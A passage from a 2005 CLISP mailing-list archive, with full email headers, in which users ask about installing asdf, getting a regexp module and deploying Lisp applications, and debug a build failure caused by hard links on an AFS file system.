read clisp docs too? http://clisp.cons.org/impnotes/faq.html > For instance, I would like to install asdf > and mk-defsystem to get started. I > have been looking through the wiki and looking at the site pages for > those libraries but I still don't know how to install those libraries > in CLISP. you download the applications you want to install, compile them, and put the form that loads them into your ~/.clisprc.lisp file. http://clisp.cons.org/impnotes/clisp.html#opt-norc alternatively, you load the application and same the image, and then invoke CLISP with the "-M" option. http://clisp.cons.org/impnotes/image.html http://clisp.cons.org/impnotes/clisp.html#opt-memfile > I also need to figure out how I would deploy an application. http://clisp.cons.org/impnotes/quickstart.html > Would having the source in an archive accessible to the user work, yes. > Is there a legal oppinion on deploying an application with the runtime > and source in separate packages? http://clisp.cons.org/impnotes/app-dev.html -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com/ http://truepeace.org http://pmw.org.il/ http://www.memri.org/ http://www.honestreporting.com Beliefs divide, doubts unite. From lisp-clisp-list@m.gmane.org Sun Nov 13 15:38:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EbRQu-0001in-Se for clisp-list@lists.sourceforge.net; Sun, 13 Nov 2005 15:38:48 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EbRQp-0008Uz-Fq for clisp-list@lists.sourceforge.net; Sun, 13 Nov 2005 15:38:45 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EbRPb-0005ty-Qn for clisp-list@lists.sourceforge.net; Mon, 14 Nov 2005 00:37:28 +0100 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 14 Nov 2005 00:37:27 +0100 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 14 Nov 2005 00:37:27 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 24 Message-ID: References: <4376E98C.8040509@yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (daikon, windows-nt) Cancel-Lock: sha1:4D9GRWzLw9lNe0Xw/OgVTRXgaxA= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Newbie questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 13 15:39:02 2005 X-Original-Date: Sun, 13 Nov 2005 16:35:18 -0700 Mike Owens writes: > I've been reading a couple of Lisp books and have a pretty good handle > on coding in Lisp but adding and deploying libraries and applications > has me confused. For instance, I would like to install asdf > and mk-defsystem > to get started. I have been > looking through the wiki and looking at the site pages for those > libraries but I still don't know how to install those libraries in > CLISP. Check out the tutorial for asdf-install, it might help. http://www.weitz.de/asdf-install/ -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html ,---- | By all means marry; if you get a good wife, you'll be happy. If you | get a bad one, you'll become a philosopher. | -- Socrates `---- From guadarrama@in.tu-clausthal.de Sun Nov 13 19:54:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EbVQh-0005JW-Sa for clisp-list@lists.sourceforge.net; Sun, 13 Nov 2005 19:54:51 -0800 Received: from zaphod.in.tu-clausthal.de ([139.174.100.142] helo=mail.in.tu-clausthal.de) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EbVQf-0004b6-N3 for clisp-list@lists.sourceforge.net; Sun, 13 Nov 2005 19:54:52 -0800 Received: from [192.168.0.250] (p54867EDB.dip.t-dialin.net [84.134.126.219]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by mail.in.tu-clausthal.de (Postfix) with ESMTP id E384D2E84C8 for ; Mon, 14 Nov 2005 04:54:41 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v623) In-Reply-To: References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Juan C.Acosta Guadarrama To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PARATHESES_CLOSE BODY: Text interparsed with ) 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 13 19:55:03 2005 X-Original-Date: Mon, 14 Nov 2005 04:54:36 +0100 Dear All, does anyone know where I may get REGEXP package for my CLisp version? My version: STACK depth: 16367 GNU CLISP 2.32 (2003-12-29) (built on dirac.cgtp.duke.edu [152.3.25.193]) Software: GNU C 3.3 20030304 (Apple Computer, Inc. build 1640) ANSI C program Features [SAFETY=3]: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER CLISP-DEBUG SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN UNICODE BASE-CHAR=CHARACTER UNIX) Installation directory: /sw/lib/clisp/ User language: ENGLISH Machine: POWER MACINTOSH(POWER MACINTOSH)jns-ibook.local [192.168.0.250] Thanks in advance! -- Best regards, Juan C. Acosta Guadarrama Home page: http://www.in.tu-clausthal.de/~guadarrama From newton@pingsite.com Mon Nov 14 04:55:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EbdrX-0000GE-CY for clisp-list@lists.sourceforge.net; Mon, 14 Nov 2005 04:55:07 -0800 Received: from osse2.pingsite.com ([205.216.250.5]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EbdrV-0000qR-6P for clisp-list@lists.sourceforge.net; Mon, 14 Nov 2005 04:55:07 -0800 Received: from [127.0.0.1] (firebox.pingsite.com [205.216.250.2]) by osse2.pingsite.com (8.11.6/8.11.6) with ESMTP id jAEBCJY26016 for ; Mon, 14 Nov 2005 06:12:19 -0500 Message-ID: <43788926.2040903@pingsite.com> From: Dave Newton User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Regex X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 14 04:56:00 2005 X-Original-Date: Mon, 14 Nov 2005 07:55:02 -0500 [Moved to appropriate thread] Juan C.Acosta Guadarrama wrote: > does anyone know where I may get REGEXP package for my CLisp version? http://www.weitz.de/cl-ppcre/ Dave From sds@gnu.org Mon Nov 14 08:31:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EbhFO-00020L-CL for clisp-list@lists.sourceforge.net; Mon, 14 Nov 2005 08:31:58 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EbhFE-0000rN-UL for clisp-list@lists.sourceforge.net; Mon, 14 Nov 2005 08:31:58 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAEGVExe013710; Mon, 14 Nov 2005 11:31:23 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Juan C.Acosta Guadarrama" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Juan C. Acosta Guadarrama's message of "Mon, 14 Nov 2005 04:54:36 +0100") References: <11d0a08dc6c60a4d02bfc5c529434320@in.tu-clausthal.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Juan C.Acosta Guadarrama User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: non-interactive clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 14 08:32:11 2005 X-Original-Date: Mon, 14 Nov 2005 11:30:17 -0500 > * Juan C.Acosta Guadarrama [2005-11-14 04:54:36 +0100]: > > does anyone know where I may get REGEXP package for my CLisp version? what does this have to do with "non-interactive clisp"? build: $ ./configure --with-module=regexp --build build-re run: $ ./build-re/clisp -K full read: http://clisp.cons.org/impnotes/faq.html#faq-modules http://clisp.cons.org/impnotes/regexp-mod.html -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.jihadwatch.org/ http://www.memri.org/ http://www.honestreporting.com http://www.openvotingconsortium.org/ Only adults have difficulty with child-proof caps. From stormcoder@yahoo.com Mon Nov 14 21:07:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ebt2U-0001ee-SR for clisp-list@lists.sourceforge.net; Mon, 14 Nov 2005 21:07:26 -0800 Received: from smtp014.mail.yahoo.com ([216.136.173.58]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Ebt2S-0003yG-Iu for clisp-list@lists.sourceforge.net; Mon, 14 Nov 2005 21:07:26 -0800 Received: (qmail 59110 invoked from network); 15 Nov 2005 05:07:22 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:Message-ID:Disposition-Notification-To:Date:From:User-Agent:X-Accept-Language:To:Subject:References:In-Reply-To:Mime-Version:Content-Transfer-Encoding:Content-Type; b=Pg4FdhGpU5pCOIKCDNg9KJmY5VlJTLYUYSio8D6A0gFWPl0zqqIXbMvk5KwgryMDs6gJho6/YsNsreWoAu+A+DH0N8Ekb8BhPrAB7dXle92t5TgsNjcNhZdTx2RCAgcepOvSblEBaHRV2kukDycM7KBmIbGkGs+2QlM+tKVQ8Vc= ; Received: from unknown (HELO ?192.168.1.25?) (stormcoder@66.235.31.193 with login) by smtp014.mail.yahoo.com with SMTP; 15 Nov 2005 05:07:20 -0000 Received: from 127.0.0.1 (AVG SMTP 7.1.362 [267.13.0/168]); Mon, 14 Nov 2005 21:07:10 -0800 Message-ID: <43796CFD.6020500@yahoo.com> From: Mike Owens User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en To: clisp-list@lists.sourceforge.net References: <4376E98C.8040509@yahoo.com> In-Reply-To: Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Newbie questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 14 21:08:01 2005 X-Original-Date: Mon, 14 Nov 2005 21:07:09 -0800 I have gotten several good pointers and answers to my questions, which I appreciate a lot. There's a good community going on here. Thanks Mike Sam Steingold wrote: >>* Mike Owens [2005-11-12 23:21:48 -0800]: >> >>I've been reading a couple of Lisp books and have a pretty good handle >>on coding in Lisp but adding and deploying libraries and applications >>has me confused. >> >> > >did you read clisp docs too? >http://clisp.cons.org/impnotes/faq.html > > > >>For instance, I would like to install asdf >>and mk-defsystem to get started. I >>have been looking through the wiki and looking at the site pages for >>those libraries but I still don't know how to install those libraries >>in CLISP. >> >> > >you download the applications you want to install, compile them, and put >the form that loads them into your ~/.clisprc.lisp file. >http://clisp.cons.org/impnotes/clisp.html#opt-norc > >alternatively, you load the application and same the image, and then >invoke CLISP with the "-M" option. >http://clisp.cons.org/impnotes/image.html >http://clisp.cons.org/impnotes/clisp.html#opt-memfile > > > >>I also need to figure out how I would deploy an application. >> >> > >http://clisp.cons.org/impnotes/quickstart.html > > > >>Would having the source in an archive accessible to the user work, >> >> > >yes. > > > >>Is there a legal oppinion on deploying an application with the runtime >>and source in separate packages? >> >> > >http://clisp.cons.org/impnotes/app-dev.html > > > > -- No virus found in this outgoing message. Checked by AVG Free Edition. Version: 7.1.362 / Virus Database: 267.13.0/168 - Release Date: 11/14/2005 From Devon@Jovi.Net Mon Nov 14 22:25:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EbuFb-0004eY-6t for clisp-list@lists.SourceForge.net; Mon, 14 Nov 2005 22:25:03 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EbuFZ-0003WX-ST for clisp-list@lists.SourceForge.net; Mon, 14 Nov 2005 22:25:03 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jAF6OTp6047981 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Nov 2005 01:24:34 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jAF6OSgc047940; Tue, 15 Nov 2005 01:24:28 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511150624.jAF6OSgc047940@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.SourceForge.net X-Spam-Status: No, score=-3.9 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 15 Nov 2005 01:24:45 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 14 22:26:01 2005 X-Original-Date: Tue, 15 Nov 2005 01:24:28 -0500 (EST) $ cd clisp-2.35/src $ make ... installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link ... $ touch foo; ln foo ../foo ln: creating hard link `../foo' to `foo': Invalid cross-device link $ cat makemake.in ... echol "locale :" if [ $HOS = unix ] ; then echotab "if test -d locale; then rm -rf locale; fi" echotab "mkdir locale" echotab "(cd po && \$(MAKE) && \$(MAKE) install datadir=.. localedir='\$\$(datadir)/locale' INSTALL_DATA='$LN_HARD') || (rm -rf local\ e ; exit 1)" else ... Perhaps hard links are a bad idea? Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From sds@gnu.org Tue Nov 15 06:17:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec1d4-0005DC-2e for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 06:17:46 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ec1d1-0005wE-G4 for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 06:17:46 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAFEHHiP011737; Tue, 15 Nov 2005 09:17:23 -0500 (EST) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511150624.jAF6OSgc047940@grant.org> (Devon Sean McCullough's message of "Tue, 15 Nov 2005 01:24:28 -0500 (EST)") References: <200511150624.jAF6OSgc047940@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 06:18:12 2005 X-Original-Date: Tue, 15 Nov 2005 09:16:21 -0500 > * Devon Sean McCullough [2005-11-15 01:24:28 -0500]: > > $ cd clisp-2.35/src > $ make > ... > installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo > ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link > ... > $ touch foo; ln foo ../foo > ln: creating hard link `../foo' to `foo': Invalid cross-device link > $ cat makemake.in > ... > echol "locale :" > if [ $HOS = unix ] ; then > echotab "if test -d locale; then rm -rf locale; fi" > echotab "mkdir locale" > echotab "(cd po && \$(MAKE) && \$(MAKE) install datadir=.. localedir='\$\$(datadir)/locale' INSTALL_DATA='$LN_HARD') || (rm -rf local\ > e ; exit 1)" > else > ... > > Perhaps hard links are a bad idea? what is cwd? why is it on a different device than its parent? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.honestreporting.com http://www.mideasttruth.com/ http://truepeace.org The software said it requires Windows 3.1 or better, so I installed Linux. From Devon@Jovi.Net Tue Nov 15 07:12:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec2U3-0007zw-Hn for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 07:12:31 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ec2Tv-0002q8-FB for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 07:12:28 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jAFFBwcm062495 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Nov 2005 10:12:00 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jAFFBwXO062492; Tue, 15 Nov 2005 10:11:58 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511151511.jAFFBwXO062492@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 15 Nov 2005 09:16:21 -0500) Subject: Re: [clisp-list] Re: clisp fails to build on Debian 3.1 References: <200511150624.jAF6OSgc047940@grant.org> X-Spam-Status: No, score=-3.8 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 15 Nov 2005 10:12:06 -0500 (EST) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_ASTERISK BODY: Text interparsed with * 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 07:13:00 2005 X-Original-Date: Tue, 15 Nov 2005 10:11:58 -0500 (EST) From: Sam Steingold Date: Tue, 15 Nov 2005 09:16:21 -0500 > * Devon Sean McCullough [2005-11-15 01:24:28 -0500]: > > $ cd clisp-2.35/src > $ make > ... > installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo > ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link ... what is cwd? why is it on a different device than its parent? AFS is a modernized Un*x file system with peculiar but compatible semantics. Install-by-hard-link is an optimization which could easily be done more robustly. Workaround was to build in /tmp which fails with ... groff -Tdvi -mandoc clisp.1 > clisp.dvi groff: can't find `DESC' file groff:fatal error: invalid device `dvi' make: *** [clisp.dvi] Error 3 for which Google turns up no fix. Someone reports the same trouble at http://tunes.org/~nef/logs/lisp/05.03.23 Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From sds@gnu.org Tue Nov 15 08:22:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ec3Zx-0002tf-A7 for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 08:22:41 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ec3Zt-0000dY-IN for clisp-list@lists.sourceforge.net; Tue, 15 Nov 2005 08:22:40 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAFGM4Dc021072; Tue, 15 Nov 2005 11:22:05 -0500 (EST) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511151511.jAFFBwXO062492@grant.org> (Devon Sean McCullough's message of "Tue, 15 Nov 2005 10:11:58 -0500 (EST)") References: <200511150624.jAF6OSgc047940@grant.org> <200511151511.jAFFBwXO062492@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp fails to build on Debian 3.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 15 08:23:02 2005 X-Original-Date: Tue, 15 Nov 2005 11:21:08 -0500 > * Devon Sean McCullough [2005-11-15 10:11:58 -0500]: > > From: Sam Steingold > Date: Tue, 15 Nov 2005 09:16:21 -0500 > > > * Devon Sean McCullough [2005-11-15 01:24:28 -0500]: > > > > $ cd clisp-2.35/src > > $ make > > ... > > installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo > > ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link > ... > what is cwd? > why is it on a different device than its parent? > > AFS is a modernized Un*x file system > with peculiar but compatible semantics. > > Install-by-hard-link is an optimization > which could easily be done more robustly. "installing foo as ..../foo" is a message from install.sh or something. please look at build-dir/po/Makefile and find out what INSTALL is set to, where it 